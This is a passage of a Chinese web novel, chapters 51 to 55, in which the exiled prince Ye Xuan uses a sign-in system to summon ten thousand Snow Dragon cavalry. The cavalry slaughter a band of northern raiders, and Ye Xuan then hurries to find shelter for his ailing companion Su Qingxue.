苏轻雪的声音还有些沙哑,但已经恢复了条理,“我们现在的位置,应该在这里。”
她的手指,点在了落凤坡东北方向约莫三十里外的一处山林标记上。
随后,她抬起头,目光灼灼地看向叶玄。
“你之前被发配北凉。”
“但北凉那么大,你的目的地,究竟是哪里?”
这个问题,她早就想问了。
叶玄的目光落在地图上,在那片广袤的北地疆域上缓缓扫过。
他的手指,最终落在了地图的最北端。
一个几乎与草原接壤的边陲小城。
“这里。”
苏轻雪的瞳孔骤然一缩。
“镇北城?!”
她失声道:“你疯了?!”
“镇北城是抵御北莽蛮族的第一道防线,常年战火不休,城墙下白骨累累!城中除了驻军便是亡命之徒,北莽的斥候和杀手更是无孔不入,随时可能潜入城中烧杀抢掠!”
“去那里,和送死有什么区别?!”
叶玄看着她震惊的表情,神色却平静如水。
“最危险的地方,就是最安全的地方。”
他的声音淡漠,却透着一股不容置疑的决断。
“太子的手,伸得再长,也影响不到镇北城的军务。到了那里,我们才算真正摆脱他。”
“至于危险……”
叶玄的嘴角,勾起一抹冰冷的弧度。
“这世上,还有比坐以待毙更危险的事吗?”
苏轻雪被他问得哑口无言。
她知道,他说的是事实。
但她总觉得,叶玄选择那里,绝不仅仅是为了“安全”这么简单。
这个男人,从不做没有目的的事。
他要去镇北城,不仅仅是为了躲避太子。
更是因为,他有一个不得不去的理由。
他需要力量。
足以掀翻棋盘的绝对力量!
在云安城,他可以借力打力,用计谋扳倒一个兵马司指挥使。
可面对太子叶天,面对那座盘踞在京城的庞然大物,任何阴谋诡计都显得苍白无力。
他需要一支军队。
一支只听从他号令,能为他踏平一切的铁血雄师!
而镇北城,那座浸泡在鲜血与战火中的雄关,就是他最好的起点!
他看着苏轻雪,缓缓开口,给出了一个让她无法拒绝的理由。
“而且,我有一个故人,在镇北城军中,或许能为我们提供庇护。”
这是谎言。
但一个好的谎言,往往比真相更令人信服。
他要将这位聪慧的苏家千金,彻底绑上自己的战车。
因为他清楚,未来的路上,他需要的,不仅仅是一把锋利的刀。
更需要一个足够聪明的盟友。
第51章 签到!一万大雪龙骑!
月色如霜,寒风如刀。
一匹快马在荒芜的官道上疾驰,马蹄踏碎了夜的寂静。
离开那座破败的山神庙已有两日。
苏轻雪紧紧抱着叶玄,清冷的月光洒在她依旧略显苍白的脸上,却已不见了那份令人心碎的空洞,取而代之的是一种淬炼过的坚韧。
她悄悄打量着前方那个男人的背影。
他依旧是那副云淡风轻的模样,仿佛去镇北城不是九死一生的豪赌,而是一场寻常的远游。
故人?
苏轻雪在心中咀嚼着这两个字,嘴角勾起一抹几不可察的自嘲。
一个自幼幽居深宫,刚刚脱离囚笼的八皇子,在万里之外、常年血战的镇北城,能有什么故人?
更何况是能在军中提供庇护的故人。
这谎言,拙劣得近乎可笑。
但她没有问,一个字都没有问。
正如她没有问,叶玄为何懂那一身出神入化的医术。
也没有问,他能一下拥有武道七品的实力。
这个男人身上,藏着太多秘密,深不见底。
她只知道,在忠叔倒下的那一刻,在她最绝望无助的时候,是这个男人,用最残忍的话,将她从崩溃的边缘拉了回来。
这就够了。
既然他选择将她绑上战车,那她便坐稳了。
她倒要看看,他所谓的镇北城,究竟藏着怎样一盘惊天动地的大棋。
就在这时,叶玄勒住了缰绳。
苏轻雪也随之停下,警惕地环顾四周。
空气中,飘来一股浓郁得化不开的血腥味,混杂着焦土与腐朽的气息,令人作呕。
“怎么了?”她压低声音问道。
叶玄没有回答,只是抬起下巴,示意她看向前方。
顺着他的目光望去,苏轻雪的瞳孔猛地一缩。
前方不远处,原本应是平坦的荒原,此刻却化作了一片修罗地狱。
残破的旗帜斜插在焦黑的土地上,上面沾满了早已凝固的黑血。
折断的兵刃、破碎的甲胄、烧成焦炭的帐篷残骸,散落得到处都是。
一具具残缺不全的尸体,以各种扭曲的姿态横陈在地,分不清是大乾的士卒,还是北莽的蛮夷。
这是一处刚刚经历过惨烈厮杀的战场!
空气死寂得可怕,只有风吹过残破旗帜时,发出的“呜呜”声,像是无数亡魂在不甘地哭嚎。
苏轻雪只觉一阵反胃,脸色又白了几分。
而叶玄,却翻身下马,径直朝着那片死地走去。
“你干什么?!”苏轻雪惊呼道,“那里太危险了!”
叶玄的脚步没有停顿,只是平静地丢下一句话。
“别怕,死人,是不会伤人的。”
他一步步踏入战场,脚下的泥土因为浸透了鲜血而变得黏稠泥泞。
每一步,都仿佛踩在死亡的脉搏之上。
也就在他踏入战场中心的那一刻,一道只有他能听见的声音,在他脑海中轰然炸响!
【叮!】
【检测到宿主抵达特殊签到地点——北凉战场!】
【此地煞气冲天,怨念凝结,乃十死无生之地,符合神级签到条件!】
【是否进行签到?】
来了!
叶玄的眼中,瞬间迸发出一抹炽热的精光!
他强压下心中的激动,在心中默念。
“签到!”
【叮!签到成功!】
【恭喜宿主获得神级奖励——一万大雪龙骑(兵符)!】
轰!!!
一股难以言喻的灼热感,从他心脏深处轰然炸开,瞬间席卷四肢百骸!
仿佛有什么东西,要破体而出!
他的眼前,不再是那片血腥的战场,而是一片被无尽风雪覆盖的广袤天地!
风雪之中,一万铁骑,人如龙,马如虎,静默而立!
他们身披玄甲,脸覆面具,只露出一双双冷漠如冰的眼眸,手中长槊的锋芒,仿佛能刺破苍穹!
一股铁血、冷酷、霸道、横扫一切的无敌气势,跨越了时空的界限,狠狠地冲击着叶玄的灵魂!
这就是……大雪龙骑!
一支足以踏平山河,颠覆乾坤的无敌之师!
【物品:大雪龙骑兵符】
【介绍:凭此兵符,可随时随地召唤一万大凶之兵——大雪龙骑!每一名骑兵皆为七品武者,悍不畏死,绝对忠诚!】
【备注:大雪龙骑出,天下皆缟素!请宿主慎用!】
系统的提示音在脑海中缓缓消散。
叶玄缓缓睁开眼,眼底的激动与狂喜,已经被一片深邃如渊的平静所取代。
他缓缓握紧了拳头。
这不是简单的喜悦,而是一种掌控自己命运,乃至掌控天下的绝对自信!
之前,他空有智谋,却无实力,如同在钢丝上跳舞,每一步都凶险万分。
扳倒王家,靠的是借力打力,环环相扣。
面对太子,却只能狼狈奔逃。
但现在,不一样了!
有了这一万大雪龙骑,他才算真正拥有了掀翻棋盘的资格!
太子叶天?
大乾皇室?
在他眼中,不过是土鸡瓦狗!
他要的,从来不是偏安一隅,苟延残喘!
他要的,是这朗朗乾坤,万里江山!
就在叶玄心潮澎湃之际,一声尖锐刺耳的鸣叫,划破了长空。
“嘎——!”
他猛地抬头,只见几只硕大的秃鹫,正在战场的上空盘旋,贪婪地注视着下方的“盛宴”。
苏轻雪也注意到了异样,脸色一变:“不好!有活物靠近!”
话音未落,远方的地平线上,出现了一道黑线。
那黑线以肉眼可见的速度迅速扩大、奔涌,卷起漫天烟尘,如同一道黑色的浪潮,朝着他们所在的方向席卷而来!
马蹄声!
震耳欲聋的马蹄声,如同密集的鼓点,狠狠地敲击在两人的心上!
那绝不是太子的追兵!
他们的速度更快,阵型更散乱,带着一股原始而狂野的侵略性!
苏轻雪的目力极佳,她看清了!
那群骑兵,个个身材高大,髡头散发,身上穿着由兽皮和零碎甲片混合而成的装束,手中挥舞着弯刀和套马索,嘴里发出意义不明的嚎叫!
是北莽的游骑!
是那些烧杀抢掠,无恶不作的草原豺狼!
他们显然是被这片战场的血腥味吸引而来,想要捡些便宜,顺便……猎杀活口。
苏轻雪的心,瞬间沉到了谷底。
这些北莽游骑,人数至少在三百以上,而且个个都是在马背上长大的凶徒,战力远非太子那些追兵可比!
以他们两人的一匹疲马,根本不可能逃掉!
前有狼,后有虎。
他们终究,还是逃不过这绝路吗?
她下意识地看向叶玄,却见他依旧站在战场的中心,一动不动。
他的脸上,没有丝毫的慌乱与恐惧。
甚至,嘴角还勾起了一抹冰冷而诡异的弧度。
仿佛眼前的三百北莽豺狼,不是催命的死神。
而是……
送上门来的,第一块磨刀石。
第52章 十息抵达
三百北莽游骑,如同一股黑色的洪流,转瞬即至。
那股混杂着马骚、汗臭和血腥味的狂风,扑面而来,几乎要将人掀翻。
苏轻雪的呼吸,在这一刻彻底凝滞。
她的手死死抓着缰绳,指节因为过度用力而发白,娇躯不受控制地微微颤抖。
完了。
这是她脑海中唯一的念头。
然而,身旁的叶玄却依旧站在那片尸山血海的中央,仿佛脚下不是浸满鲜血的泥土,而是自家的庭院。
他甚至没有回头看她一眼。
“别怕。”
叶玄的声音传来,平静得没有一丝波澜,却像一颗定心丸,奇异地抚平了苏轻雪心中一丝最深沉的恐惧。
她下意识地靠近了叶玄几步,仿佛只有他身边那方寸之地,才是安全的港湾。
“我们……我们怎么办?”
她的声音带着自己都未曾察觉的颤音和依赖。
叶玄没有回答,只是在心中,对那刚刚获得的兵符下达了指令。
“召唤,大雪龙骑。”
【叮!兵符已激活!】
【一万大雪龙骑正在跨越空间,极速赶来!】
【预计抵达时间:十息之内!】
十息。
叶玄的嘴角,勾起一抹冰冷的弧度。
足够了。
“吁——”
刺耳的勒马声响起,三百多名北莽游骑已经将两人一马团团围住,形成了一个密不透风的包围圈。
他们胯下的草原马不断地打着响鼻,马蹄焦躁地刨着地面,一双双贪婪而残忍的目光,肆无忌惮地在两人身上扫视。
一个满脸横肉,左脸颊上还有一道蜈蚣般刀疤的北莽汉子,催马走了出来。
他显然是这群游骑的首领。
他的目光先是落在叶玄身上,露出一抹轻蔑,随即又看向苏轻雪,眼中瞬间爆发出毫不掩饰的淫邪与贪婪。
“啧啧啧,没想到这种鬼地方,还能碰到这么水灵的中原娘们儿!”
刀疤首领伸出舌头,舔了舔干裂的嘴唇,发出一阵令人作呕的怪笑。
“哈哈哈,头儿,这小娘们儿比咱们在村子里抢的那些货色正点多了!”
“看她那身段,那皮肤,带劲!”
周围的北莽游骑也跟着发出一阵哄堂大笑,污言秽语不绝于耳,他们看向苏轻雪的眼神,就像一群饿狼在打量一只落入陷阱的羔羊。
苏轻雪的脸色煞白,下意识地握紧了腰间的短剑,眼中满是屈辱和愤怒。
刀疤首领的目光重新落回叶玄身上,用马鞭指着他,语气充满了戏谑。
“小子,是你自己滚,还是让老子帮你滚?”
“把这娘们儿和马留下,老子可以考虑给你留个全尸。”
面对三百多柄闪着寒光的弯刀,面对这群如同豺狼的凶徒。
叶玄终于有了动作。
他缓缓抬起头,那双深邃的眼眸里,没有恐惧,没有愤怒,只有一片令人心悸的漠然。
仿佛在看一群……死人。
“我给你们一个机会。”
他的声音不大,却清晰地传入了每一个人的耳中。
“现在滚,还能活。”
“否则,就没有机会了。”
空气,有那么一瞬间的死寂。
紧接着,便是更加猖狂的爆笑声。
“哈哈哈哈!我听到了什么?”
刀疤首领笑得前仰后合,眼泪都快出来了。
“他说让我们滚?让我们滚,否则就没有机会了?”
“小子,你他娘的是不是被吓傻了?你看看我们有多少人,再看看你!”
“你倒是让老子看看,你有什么本事,能让老子们没有机会!”
三百多名北莽游骑笑得东倒西歪,仿佛听到了天底下最好笑的笑话。
在他们看来,这个单薄的中原小子,不过是死到临头还在嘴硬的可怜虫。
苏轻雪的心,也彻底沉入了谷底。
她不明白,叶玄为何要说出这种话来激怒对方。
然而,叶玄脸上的表情,依旧没有丝毫变化。
那是一种绝对的,凌驾于一切之上的平静。
他甚至连看那刀疤首领一眼的兴趣都欠奉,只是微微扬起了嘴角,缓缓伸出了一根手指。
“十。”
他开始倒数。
声音不大,却带着一种诡异的韵律,敲击在每个人的心头。
刀疤首领的笑声一滞,眉头微皱,有些不解地看着这个神神叨叨的小子。
“九。”
叶玄的声音依旧平稳。
“故弄玄虚!”
刀疤首领冷哼一声,眼中的杀意却愈发浓烈。
“老子倒要看看,你数到一,能数出个什么花来!”
“八。”
“七。”
苏轻雪紧张地攥紧了衣角,手心里全是冷汗,她的目光死死地盯着叶玄的侧脸,心中涌起一股荒谬的期待。
难道……他真的还有底牌?
“六。”
“五。”
“四。”
北莽游骑们的笑声渐渐停了。
虽然他们不认为眼前这个小子能翻出什么浪花,但叶玄那过于平静的姿态,和这诡异的倒数,让这片血腥的战场,多了一丝说不清道不明的寒意。
“三。”
当这个数字从叶玄口中吐出的瞬间。
异变,陡生!
嗡——
大地,传来了一阵极其轻微的,几乎无法察觉的震动。
就像是远处有一块巨石滚落山涧。
苏轻雪还没有任何感觉。
但那个刀疤首领,那个常年在马背上厮杀的草原凶徒,脸色却在瞬间剧变!
他猛地低头,耳朵贴近了马鞍,仿佛在聆听大地的脉动!
是骑兵!
而且是重骑兵!
是那种万马奔腾,才能引起的独特共鸣!
“二。”
叶玄的声音,如同死神的催命符。
嗡嗡嗡——
大地的震动,在这一刻变得无比清晰!
地面上碎小的石子开始不安地跳动,空气中传来一阵低沉的,如同闷雷滚过的轰鸣!
“什么动静?”
“是哪来的马蹄声?”
所有的北莽游骑都察觉到了不对劲,他们惊疑不定地环顾四周,脸上的嚣张与戏谑,早已被惊愕与警惕所取代。
刀疤首领猛地扭过头,朝着声音传来的方向,也就是他们来时的地平线尽头,骇然望去!
下一秒。
他的瞳孔,缩成了针尖!
只见那遥远的地平线上,出现了一道线。
一道纯白色的,仿佛与天际霜雪融为一体的线!
那道白线,正在以一种不可思议的速度,疯狂地扩大、奔涌!
如同天河决堤,雪崩万里!
轰隆隆!轰隆隆!
那如同闷雷般的轰鸣,此刻已经化作了足以震裂耳膜的滔天巨响!
是骑兵!
是一支他们从未见过的,恐怖的骑兵!
通体雪白的战马,神骏非凡,四蹄踏空,竟如履平地!
马上骑士,身披一套样式古朴却又精致到极点的纯白玄甲,头戴狰狞的覆面头盔,只露出一双双冷漠到没有丝毫情感的眼眸!
他们手中,是清一色的三丈长槊,槊锋在夕阳下,反射着令人心胆俱裂的森然白光!
他们的阵型,整齐得宛如用尺子画出来一般,千军万马,却只有一个动作,一个节奏!
一股冰冷、肃杀、霸道、仿佛要将这天地都彻底冻结的无敌气势,跨越了遥远的距离,狠狠地碾压而来!
在这支白马义从面前,他们这三百所谓的草原豺狼,简直就像是一群肮脏、散乱、不堪一击的土狗!
“一。”
叶玄口中,轻轻吐出了最后一个数字。
而他的目光,越过了眼前那群已经面无人色、肝胆欲裂的北莽游骑,望向了那片奔涌而来的无尽霜白。
嘴角,终于扬起一抹睥睨天下的笑意。
我的兵。
我的磨刀石。
欢迎来到,这人间地狱。
第53章 吾名,大雪龙骑
方才还充斥着猖狂大笑与污言秽语的战场,此刻安静得只剩下风声,以及那由远及近,越来越清晰,仿佛直接擂动在心脏之上的轰鸣!
三百名北莽游骑,脸上的表情凝固了。
那是一种混杂着极致的惊骇、茫然与不可置信的神情。
他们胯下的草原马,这些追随他们饱饮鲜血的伙伴,此刻却躁动不安,不断地刨着蹄子,打着响鼻,甚至想要调头逃跑,仿佛感知到了某种来自生命层次最顶端的绝对压制。
那是什么?
那片奔涌而来的霜白,到底是什么?!
“不……不可能……”
刀疤首领的嘴唇在哆嗦,他脸上的那道蜈蚣刀疤,因为肌肉的剧烈抽搐而扭曲蠕动,显得愈发狰狞可怖。
作为在北莽草原刀口舔血数十年的老手,他见识过大乾最精锐的边军,也曾与那些号称铁壁的重甲步卒交过手。
但他从未见过如此恐怖的军队!
那股气势!
仅仅是远远看着,那股冰冷、肃杀、仿佛能将天地万物都碾成齑粉的无敌气势,就让他生不起一丝一毫的反抗之心!
那是屠戮过百万生灵,才能凝聚出的绝世杀气!
逃!
这是刀疤首领脑海中迸发出的唯一念头!
留在这里,就是死!
会被那片白色的洪流,连人带马,碾成最卑微的尘埃!
他猛地回头,用一双布满血丝的眼睛,死死地盯住了那个依旧平静站立的少年,叶玄。
就是他!
那个诡异的倒数!
这一切,都是他搞的鬼!
这个中原小子,根本不是什么待宰的羔羊,而是一头披着人皮的洪荒巨兽!
“撤!突围!向西突围!”
刀疤首领用尽全身力气,发出一声嘶哑到变调的咆哮。
他的声音里,充满了前所未有的恐惧。
然而,他的马鞭,却不是指向西方,而是指向了那片奔涌而来的白色地狱!
“兄弟们!冲过去!撕开一个口子!为老子断后!”
“谁能活下来,老子赏他一百个金饼!十个娘们儿!”
在死亡的巨大恐惧和重赏的刺激下,那群已经濒临崩溃的北莽游骑,眼中瞬间爆发出一种疯狂的血性。
他们是豺狼,是凶徒。
求生的本能,压倒了一切!
“杀啊!”
“冲出去!”
近三百名游骑,发出一阵混乱的嘶吼,调转马头,不再理会身后的叶玄和苏轻雪,而是朝着那片越来越近的白色浪潮,发起了自杀式的冲锋。
他们知道,这是他们唯一的生路。
用同伴的血肉,为首领,也为自己,争取那一线渺茫的生机!
然而,就在所有人的注意力都被那毁天灭地的骑兵吸引时。
那个高喊着让手下断后的刀疤首领,却猛地一拉缰绳,胯下那匹最为神骏的战马发出一声悲嘶,竟是硬生生调转了一百八十度!
他没有冲锋。
他甚至没有丝毫的犹豫。
在命令手下送死的那一刻,他便选择了逃跑!
朝着他们来时的方向,那个与大雪龙骑截然相反的方向,疯狂逃窜!
他将自己的三百名手下,当成了阻挡洪水的堤坝,当成了为自己争取逃命时间的弃子!
何其卑劣!
何其无耻!
叶玄看着那道狼狈逃窜的背影,嘴角那抹冰冷的弧度,愈发上扬。
他没有去看那三百名冲向大雪龙騎的“炮灰”。
因为他们的结局,早已注定。
他的目光,只是饶有兴致地锁定了那个逃跑的刀疤首领。
这才是一块,稍微像样点的磨刀石。
而此刻的苏轻雪,已经彻底呆滞了。
她的脑海中,一片空白。
那奔涌而来的万马,那撼天动地的轰鸣,那股足以让神佛都为之战栗的恐怖气势,彻底摧毁了她二十年来建立起的所有认知。
这是……什么力量?
这世间,怎么会有如此可怕的军队?
她下意识地看向身旁的叶玄。
风,吹动着他黑色的发丝。
他的侧脸,在夕阳的余晖下,仿佛被镀上了一层神圣的金色光晕。
他的表情,依旧是那样的平静,那样的淡漠。
可苏轻雪却分明从他的眼底深处,看到了一丝……沸腾的热血与睥睨天下的豪情!
仿佛眼前这支从天而降的神兵,本就该属于他!
仿佛这天地,都该臣服于他的脚下!
一个荒谬到让她自己都觉得不可思议的念头,如同闪电般,划破了她混乱的脑海。
难道……
难道这支军队……是他的人?
这个念头一生出,便再也无法遏制,疯狂地滋长!
她想起了叶玄的种种神秘,想起了他面对三百游骑时的从容不迫,想起了他那诡异而精准的倒数……
所有的线索,在这一刻,都串联了起来!
苏轻雪的呼吸,猛地一窒。
她看着叶玄的眼神,彻底变了。
“轰隆隆——”
大雪龙骑与那三百北莽游骑的距离,已经不足一里!
这个距离,对于骑兵而言,不过是几个呼吸的瞬间!
冲在最前面的北莽游骑,已经能清晰地看到,对面那一个个覆面头盔下,冰冷到不含一丝情感的眼眸!
他们甚至能感受到,那三丈长槊的槊锋之上,散发出的刺骨寒意!
恐惧!
无边的恐惧,瞬间吞噬了他们最后的疯狂!
“不……”
一个游骑发出了绝望的哀嚎,他想要勒马,想要转向,但已经来不及了。
身后的同伴,推着他向前。
而前方的敌人,就是死亡本身!
就在此时,一道冰冷、漠然,不含任何感情的意念,跨越了空间的距离,清晰地传入了每一名大雪龙骑兵的脑海。
那意念,来自于他们的王,叶玄。
“一个,不留。”
“逃者,死。”
命令,简单而绝对。
为首的大雪龙骑将领,覆面头盔下的双眸,猛地爆射出一道精光。
他高高举起了手中的三丈长槊。
“大雪龙骑!”
他的声音,仿佛引动了天地的共鸣,带着一种金戈铁马的肃杀!
“在!”
万人的齐声怒吼,汇成一道滚滚音浪,直冲云霄!
那声音,整齐划一,仿佛出自一人之口!
仅仅是这声怒吼,就让那三百名冲锋的北莽游骑肝胆俱裂,不少人甚至直接被这股声浪震得头晕目眩,从马背上栽了下去!
“冲锋!”
将领的长槊,重重向前一挥!
“风!”
“风!”
“风!”
一万大雪龙骑,齐声呐喊,他们的速度,在这一刻,再次暴涨!
没有花哨的技巧,没有复杂的战术。
有的,只是最纯粹,最霸道,最不讲道理的……碾压!
轰——!
第54章 晕了?这么不耐……
白色的洪流,终于与那股黑色的浊流,狠狠地撞在了一起!
没有想象中惨烈的金铁交鸣。
甚至没有像样的抵抗。
那三百名北莽游骑组成的冲锋阵列,在大雪龙骑面前,脆弱得就像是一张纸。
被轻易地,一触即溃!
噗嗤!噗嗤!噗嗤!
三丈长的雪白长槊,带着无可匹敌的巨力,轻而易举地洞穿了北莽游骑身上那简陋的皮甲,洞穿了他们的胸膛,将他们连人带马,高高地挑飞到半空!
鲜血,在空中爆开,化作一团团凄美的血雾。
残肢断臂,四散飞溅。
第一排的大雪龙骑,如同一柄烧红的烙铁,狠狠地烫入了一块牛油之中。
势如破竹!
第二排,第三排……紧随其后!
他们保持着完美的阵型,保持着同样的速度,从那片混乱的血肉泥潭中,一碾而过!
没有一个北莽游骑,能对他们造成哪怕一丝一毫的阻碍。
他们的弯刀,甚至连大雪龙骑身上的玄甲都无法砍破。
而大雪龙骑的长槊,每一次挥动,都会带走数条鲜活的生命。
这是一场……屠杀!
一场单方面的,毫无悬念的屠杀!
苏轻雪下意识地捂住了嘴,不让自己发出惊呼。
她的美眸中,倒映着那片人间炼狱。
血腥,残忍。
但她心中,却没有丝毫的怜悯。
因为她知道,如果不是叶玄,此刻被屠戮的,就是他们。
而自己的下场,只会比死更凄惨。
短短不到三十息的时间。
战斗,便已结束。
三百名北莽游骑,全军覆没,没有一个活口。
战场之上,只留下一片狼藉的尸骸,以及……那一万名,阵型没有丝毫散乱,仿佛从未移动过的大雪龙骑。
他们的白色玄甲上,纤尘不染。
仿佛刚才那场屠杀,不过是踩死了一群路边的蚂蚁。
肃杀,冰冷,强大!
叶玄的目光,越过这片血腥的战场,落向了远方那个已经快要变成一个小黑点的身影。
他缓缓抬起了手。
远处,大雪龙骑的将领,仿佛心有灵犀,瞬间会意。
他一指那个逃窜的方向,冰冷地下达了命令。
“一队,随我追!”
“目标,斩杀!”
“诺!”
一千名大雪龙骑,瞬间从大军中分出,化作一道白色的利箭,朝着刀疤首领逃跑的方向,破空而去!
他们的速度,比那刀疤首领的战马,快了不止一倍!
一场猫捉老鼠的游戏,正式开始。
叶玄缓缓放下手,转过身,看向了身旁那依旧处在巨大震撼中的苏轻雪。
他微微一笑,声音温和。
“现在,安全了。”
他的声音仿佛带着某种魔力,将苏轻雪从那片血腥的幻象中拉回了现实。
也就在这时,那肃杀如铁铸的万军阵前,整齐划一地分开一条通道。
一名身形尤为魁梧的将领,翻身下马,身上厚重的玄甲随着他的步伐发出沉闷而富有节奏的铿锵声。
他每一步都踏在所有人的心跳上,径直走到叶玄面前三步之遥。
然后,在苏轻雪那双已经瞪到最大的美眸注视下,轰然单膝跪地!
“咚!”
那一声闷响,仿佛一柄重锤,狠狠砸在了苏轻雪的心脏上!
“末将赵阳,率大雪龙骑一万众,参见主上!”
将领的声音,洪亮、沉稳,充满了绝对的忠诚与狂热。
“参见主上!”
他身后,那九千名铁血骑士,齐刷刷地翻身下马,动作整齐划一,发出了一声震彻云霄的怒吼!
万军叩拜!
这一刻,天地间仿佛只剩下这四个字在回荡!
苏轻雪的身体,控制不住地轻轻颤抖了一下。
真的是他的人!
这支仿佛从神话中走出的无敌之师,竟然真的是他的人!
荒谬!
却又是如此真实地发生在眼前!
她的脑海中,叶玄的形象在飞速地重组、崩塌、再重组。
那个神秘的“故人”,那个精准的倒数,那份面对三百游骑时的从容……
一切的一切,都有了答案!
他不是故弄玄虚,他是在陈述一个事实!
一个她之前,乃至整个天下,都无法想象的事实!
叶玄看着眼前单膝跪地的赵阳,心中也是一阵激荡。
他心念一动,天子望气术悄然运转。
【姓名:赵阳】
【身份:大雪龙骑将领】
【修为:武道五品】
【忠诚度:100(死忠)】
【备注:由系统召唤,对宿主拥有绝对的忠诚,悍不畏死,永不背叛。】
目光扫过他身后那黑压压跪倒一片的大军。
【军队:大雪龙骑】
【数量:9000/10000(一队已派出)】
【单兵修为:武道七品】
【忠诚度:100(死忠)】
【评价:天下之锋,所向披靡!】
百分之百的死忠!
叶玄深吸一口气,压下心中的万丈豪情,声音依旧平淡,却带着不容置疑的威严。
“起。”
一个字,如天宪纶音。
“谢主上!”
赵阳与身后万军,齐刷刷起身,动作干脆利落,没有一丝多余的声响。
叶玄满意地点了点头,随即牵过一匹通体雪白,神骏异常的战马。
他动作潇洒地翻身上马,居高临下地看着依旧呆立在原地的苏轻雪。
他没有催促,只是朝她伸出了手,嘴角带着一抹似笑非笑的弧度。
“苏姑娘,还愣着做什么?”
“走了,我们该去镇北城了。”
夕阳的余晖洒在他的身上,将他整个人都笼罩在一片金色的光晕之中,那伸出的手掌,仿佛是神明递来的邀约。
苏轻雪的心跳,漏了一拍。
她看着那只干净修长的手,又看了看叶玄那双深邃如星空的眼眸,脸颊不受控制地泛起一抹红晕。
她不再犹豫,将自己微凉的柔荑,轻轻地放在了叶玄的掌心。
叶玄手腕微微用力,一股柔和却不容抗拒的力量传来,苏轻雪便感觉自己轻盈地飞起,下一刻,便稳稳地落在了他的身前,被他整个圈在了怀中。
战马高大,两人紧紧相贴。
她能清晰地感受到他后背传来的温热体温,以及那沉稳有力的心跳声,鼻尖萦绕着一股淡淡的,让她心安的男子气息。
苏轻雪的脸更红了,几乎要滴出血来。
就在此时,她像是猛然想起了什么,急切地回头道:“叶玄!我们……我们能不能派些人,回一趟落凤坡?”
她的声音里带着一丝哀求和希冀。
“为了保护我,苏家的忠叔带着护卫去引开另一批追兵了,算算时辰,他们应该就在落凤坡附近……说不定,说不定还来得及!”
叶玄感受着怀中佳人的焦急,他没有多问,只是淡淡地点了点头。
“好。”
他侧过头,对着一旁肃立等候的赵阳示意了一下。
“赵阳。”
“末将在!”
“点一队人马,去落凤坡。若遇活口,不论是谁,救下。若遇敌人,不论是谁,杀光。”
叶玄的命令,简单,直接,霸道。
“遵命!”
赵阳没有丝毫迟疑,立刻转身,点了一千骑,再次化作一道白色洪流,朝着来路的方向疾驰而去。
看着那支军队雷厉风行地离开,苏轻雪一直紧绷的心弦,终于缓缓松懈了下来。
有这样一支神兵相助,忠叔他们,一定能得救的……
这几日的奔波劳累,担惊受怕,以及刚刚那场屠杀和万军叩拜带来的极致精神冲击,如同潮水般,在这一刻尽数向她涌来。
紧绷的神经一旦放松,无边的疲惫便吞噬了她。
苏轻雪只觉得眼前一阵天旋地转,脑袋一歪,便彻底失去了意识,柔软地靠在了叶玄宽阔的后背上。
“嗯?”
叶玄第一时间察觉到了怀中的异样。
他勒住缰绳,停下战马,低头看去。
只见苏轻雪双眸紧闭,脸色苍白得没有一丝血色,呼吸也变得微弱起来。
他眉头微皱,立刻伸出两指,搭在了她雪白的皓腕之上。
一丝真气探入。
片刻后,叶玄的脸色沉了下来。
是她体内的旧疾爆发了。
想来是这两日风餐露宿,加上心情大起大落,悲惧交加,引动了潜藏在她体内的沉疴。
病情来势汹汹,若不及时救治,恐怕会有性命之忧!
“赵阳!”
叶玄的声音,带上了一丝不容置疑的急切。
另一名策马跟在旁边的副将立刻上前,正是赵阳的副手。
“主上,有何吩咐!”
“立刻传令全军,全速前进!”
叶玄的目光锐利如刀,扫视着前方的地平线。
“在最短的时间内,找到一处可以遮风避雨,能够歇脚的地方!”
“快!”
第55章 覆灭营地
叶玄的声音,裹挟着不容置喙的威严与急切,在旷野上空回荡。
“全速前进!”
“诺!”
没有丝毫的犹豫和询问,剩下的八千大雪龙骑,在副将的指挥下,瞬间从静止化作奔流。
轰隆隆!
大地震颤,仿佛在为这支无敌之师的意志而臣服。
叶玄抱着怀中昏迷的苏轻雪,心沉如水。
他的手指依旧搭在她的皓腕上,一股股精纯的灵力源源不断地渡入,小心翼翼地护住她那即将熄灭的心脉。
情况比他想象的还要糟糕。
这不仅仅是旧疾复发,更是长久以来压抑在体内的沉疴,在今日极致的情绪波动和身体疲惫下,如同火山般轰然爆发。
她的生机,正在以一个惊人的速度流逝。
神级医术的信息在他脑海中流淌,无数种治疗方案瞬间闪过。
但每一种,都需要一个绝对安全且干净的环境,以及他全神贯注,毫无保留地耗费海量灵力进行施救。
在这危机四伏的北莽边境,任何一点疏忽都可能万劫不复。
他绝不能将自己和这支刚刚到手的王牌之师,置于险地。
所以,当务之急,是找到一个能够让他施展手脚的安身之所!
“斥候前出十里,呈扇形搜索!”
“任何可疑踪迹,立刻回报!”
副将的命令清晰地传达下去,数十名精锐斥候如飞鸟般脱离大队,消失在地平线的尽头。
大军如同一张铺开的巨网,朝着前方无声地碾压过去。
时间,在一分一秒地流逝。
叶玄怀中的苏轻雪,脸色愈发苍白,呼吸也微弱得近乎于无。
就在叶玄的耐心即将耗尽之时。
一名斥候如鬼魅般自远方疾驰而来,在距离大军百丈外勒马,单膝跪地,声如洪钟。
“启禀主上!前方八里,有一处山谷,谷口隐蔽,有大量人马活动的痕迹,疑似北莽游骑的巢穴!”
叶玄的眼眸瞬间一凝,锐利如鹰!
北莽游骑的巢穴?
真是踏破铁鞋无觅处,得来全不费工夫!
他冰冷的目光扫过怀中气若游丝的苏轻雪,再没有半分犹豫。
“传令!”
他的声音,宛如九幽寒冰。
“全军,目标山谷!”
“清剿所有活物,一个不留!”
“我要在半个时辰内,看到一个被清理干净的营地!”
“遵命!”
……
几乎就在叶玄下达命令的同时。
山谷的另一侧,一名偏将率领的一千大雪龙骑,已经将那个亡命奔逃的刀疤首领,逼入了一处绝境。
“你们……你们到底是什么人!?”
刀疤首领的战马已经口吐白沫,力竭倒地,他本人则狼狈地摔在地上,惊恐万状地看着眼前这一千名宛如从地狱中走出的杀神。
他引以为傲的骑术和速度,在对方面前,就是一个笑话。
无论他如何变向,如何驱使马力,对方都如影随形,不紧不慢,仿佛在戏耍一只可怜的老鼠。
偏将居高临下地看着他,眼神中没有丝毫波澜,如同在看一个死物。
“你,没有资格知道。”
他缓缓举起了手中的长槊,槊尖在夕阳下闪烁着嗜血的寒芒。
“主上有令,逃者,死!”
